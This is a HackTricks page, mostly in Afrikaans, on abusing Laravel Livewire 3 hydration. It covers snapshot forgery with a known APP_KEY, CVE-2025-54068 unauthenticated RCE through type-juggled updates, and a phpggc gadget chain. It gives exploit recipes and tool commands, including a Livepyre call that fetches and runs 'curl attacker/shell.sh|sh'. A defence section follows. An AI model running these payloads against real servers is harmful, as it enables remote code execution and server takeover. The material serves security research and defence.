Laravel Livewire Hydration & Synthesizer Abuse
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Opsomming van die Livewire state machine
Livewire 3-komponente ruil hul toestand uit deur middel van snapshots wat data, memo en ’n checksum bevat. Elke POST na /livewire/update herhidreer die JSON-snapshot aan die bedienerkant en voer die in die tou geplaatste calls/updates uit.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Enigiemand wat die APP_KEY besit (gebruik om $hashKey af te lei) kan dus ewekansige snapshots vervals deur die HMAC weer te bereken.
Komplekse eienskappe word gekodeer as sintetiese tuples wat opgespoor word deur Livewire\Drawer\BaseUtils::isSyntheticTuple(); elke tuple is [value, {"s":"<key>", ...meta}]. Die hydration-kern stuur eenvoudig elke tuple na die synth wat in HandleComponents::$propertySynthesizers gekies is en verwerk rekursief die kinders:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Hierdie rekursiewe ontwerp maak Livewire ’n generiese objek-instansierings-enjin sodra ’n aanvaller óf die tuple-metadata óf enige geneste tuple wat tydens die rekursie verwerk word, beheer.
Synthesizers wat gadget-primitives verskaf
| Synthesizer | Gedrag beheer deur aanvaller |
|---|---|
CollectionSynth (clctn) | Instansieer new $meta['class']($value) nadat elke kind herhidreer is. Enige klas met ’n konstruktor wat ’n array aanvaar kan geskep word, en elke item kan self ’n sintetiese tuple wees. |
FormObjectSynth (form) | Roep new $meta['class']($component, $path), en ken dan elke publieke eienskap toe vanaf aanvaller-beheerde kinders via $hydrateChild. Konstruktore wat twee los getipeerde parameters (of standaardargs) aanvaar, is genoeg om by arbitrêre publieke eienskappe uit te kom. |
ModelSynth (mdl) | Wanneer key afwesig is in meta voer dit return new $class; uit, wat nul-argument-instantiasie van enige klas onder aanvallerbeheer toelaat. |
Omdat synths $hydrateChild op elke geneste element aanroep, kan arbitrêre gadget-grafieke geskep word deur tuples rekursief op te stapel.
Vervalste snapshots wanneer APP_KEY bekend is
- Neem ’n geldige
/livewire/updateversoek vas en dekodeercomponents[0].snapshot. - Injekteer geneste tuples wat na gadget-klasse wys en herbereken
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Her-kodeer die snapshot, hou
_token/memoonaangeraak, en speel die versoek weer.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
Van funksie-aanroepe na volle RCE
Deur Livewire se instansiasie-primitiewe te benut, het Synacktiv phpggc se Laravel/RCE4 ketting aangepas sodat die hydrasie ’n objek opstart waarvan die publieke Queueable-toestand deserialisasie trigger:
- Queueable trait – enige objek wat
Illuminate\Bus\Queueablegebruik openbaar publieke$chaineden voerunserialize(array_shift($this->chained))uit indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) word geïnstansieer viaCollectionSynth/FormObjectSynthmet publieke$chainedgevul. - phpggc Laravel/RCE4Adapted – die geserialiseerde blob gestoor in
$chained[0]bouPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()roep uiteindelikcall_user_func_array($closure, $args)aan watsystem($cmd)moontlik maak. - Stealth termination – deur ’n tweede
FnStreamcallable te gee soos[new Laravel\Prompts\Terminal(), 'exit'], eindig die versoek metexit()in plaas van ’n lawaaierige uitsondering, wat die HTTP-antwoord skoon hou.
Outomatisering van snapshot-vervalsings
synacktiv/laravel-crypto-killer stuur nou ’n livewire mode wat alles aaneenvleg:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Die tool ontleed die vasgevangde snapshot, injecteer die gadget tuples, herbereken die checksum, en druk ’n gereed-om-te-stuur /livewire/update payload.
CVE-2025-54068 – RCE sonder APP_KEY
Volgens die verskafferadvies beïnvloed die probleem Livewire v3 (>= 3.0.0-beta.1 en < 3.6.3) en is dit uniek aan v3.
updates word in die component state saamgesmelt na die snapshot checksum gevalideer is. As ’n property binne die snapshot ’n synthetic tuple is (of word), hergebruik Livewire sy meta terwyl dit die deur die aanvaller beheerde update-waarde hydrateer:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Uitbuitingsresep:
- Vind ’n Livewire-komponent met ’n ongetipe publieke eienskap (bv.,
public $count;). - Stuur ’n update wat daardie eienskap op
[]stel. Die volgende snapshot stoor dit nou as[[], {"s": "arr"}].
’n minimale tipe-wisselvloei lyk soos volg:
POST /livewire/update
...
"updates": {"count": []}
Dan stoor die volgende snapshot ’n tuple wat die arr synthesizer-metadata behou:
"count": [[], {"s": "arr"}]
- Stel ’n ander
updatespayload saam waar daardie eienskap ’n diep geneste array bevat wat tuple insluit soos[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Tydens rekursie evalueer
hydrate()elke geneste kind onafhanklik, sodat aanvaller-gekose synth-sleutels/klasse gerespekteer word selfs al het die buitenste tuple en checksum nooit verander nie. - Hergebruik dieselfde
CollectionSynth/FormObjectSynthprimitives om ’n Queueable gadget te instansieer waarvan$chained[0]die phpggc payload bevat. Livewire verwerk die vervalste updates, roepdispatchNextJobInChain()aan, en bereiksystem(<cmd>)sonder omAPP_KEYte ken.
Belangrike redes waarom dit werk:
updatesword nie deur die snapshot checksum gedek nie.getMetaForPath()vertrou watter synth-metadata reeds vir daardie eienskap bestaan het, selfs as die aanvaller dit voorheen gedwing het om via swak tipering ’n tuple te word.- Rekursie plus swak tipering laat elke geneste array as ’n splinternuwe tuple geïnterpreteer word, sodat arbitrêre synth-sleutels en arbitrêre klasse uiteindelik by hydration uitkom.
Livepyre – end-to-end uitbuiting
Livepyre automatiseer beide die APP_KEY-less CVE en die signed-snapshot pad:
- Fingerprints die gedeployde Livewire-weergawe deur
<script src="/livewire/livewire.js?id=HASH">te parseer en die hash aan kwesbare releases te koppel. - Versamel basis-snapshots deur goedaardige aksies te herhaal en
components[].snapshotte onttrek. - Genereer óf ’n
updates-only payload (CVE-2025-54068) óf ’n vervalste snapshot (bekende APP_KEY) wat die phpggc chain inbed. - As geen object-getipe parameter in ’n snapshot gevind word nie, val Livepyre terug op brute-forcing van kandidaat-params om ’n coercible property te bereik.
Tipiese gebruik:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check voer n nie-destruktiewe probe uit, -F slaan weergawe-heinings oor, -H en -P voeg pasgemaakte headers of proxies by, en --function/--param pas die php-funksie aan wat deur die gadget-ketting aangeroep word.
Verdedigingsmaatreëls
- Werk op na die gefikste Livewire-bou (>= 3.6.4 volgens die kennisgewing van die verskaffer) en implementeer die verskaffer-patch vir CVE-2025-54068.
- Vermy swak-getipe publieke eienskappe in Livewire-komponente; eksplisiete skalêre tipes keer dat eienskapswaardes gedwing word tot arrays/tuples.
- Registreer slegs die sintetiseerders wat jy regtig nodig het en behandel gebruikersbeheerde metadata (
$meta['class']) as onbetroubaar. - Verwerp opdaterings wat die JSON-tipe van ’n eienskap verander (bv. scalar -> array) tensy dit eksplisiet toegelaat word, en herskep synth-metadata eerder as om verouderde tuples te hergebruik.
- Draai
APP_KEYonmiddellik na enige openbaarmaking, want dit maak offline snapshot-forgery moontlik ongeag hoe goed die kodebasis gepatch is.
Verwysings
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


